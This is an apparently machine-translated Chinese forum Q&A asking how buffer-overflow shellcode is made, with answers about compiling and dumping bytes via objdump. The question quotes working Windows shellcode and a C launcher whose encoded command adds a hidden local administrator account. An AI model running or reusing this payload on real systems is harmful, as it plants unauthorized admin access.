2017-02-28 76 views
-2

下面的代碼引起了我的好奇心。我總是尋找,搜索和研究所謂的「緩衝區溢出」漏洞。我想知道代碼是如何生成的。代碼運行的方式和原因?緩衝區溢出的shell代碼是如何產生的

char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" 
     "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" 
     "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" 
     "\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a" 
     "\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf" 
     "\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f" 
     "\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69" 
     "\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63" 
     "\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44" 
     "\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33" 
     "\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65" 
     "\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63" 
     "\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"; 


int main(int argc, char **argv){ 
int (*f)(); 
f = (int (*)())shellcode;(int)(*f)(); 
} 

非常感謝fella's。^_^

回答

0

的簡單方法來產生這樣的代碼是寫在C.所期望的功能。然後對其進行編譯(沒有鏈接),這將產生一個目標文件的shellcode .o。現在你可以看到使用objdump的彙編代碼

odjdump -D shellcode.o 

現在你可以看到與你的函數中的指令對應的字節。 請記住,只有當你的shellcode沒有調用任何其他函數,或者沒有引用任何全局變量或字符串時,這纔會起作用。這是因爲鏈接器尚未被調用。如果你想要所有的功能,我會建議你在導出所需的功能時生成一個共享的二進制文件(在Windows上的* .NIX和dll上)。然後你可以找到函數的起始點並從那裏複製字節。您還必須複製所有其他函數和全局變量的字節。您還必須確保將共享庫編譯爲位置獨立庫。

同樣如上所述,此代碼生成的目標是特定的,不會像其他平臺上那樣工作。

0

機器代碼指令已作爲數據直接輸入到C程序中,然後用函數指針調用。如果系統允許,程序集可以採取任何允許該程序的操作,包括啓動其他程序。

該代碼特定於它所針對的特定處理器。使用說gcc作爲編譯器作爲

gcc -c shellcode.c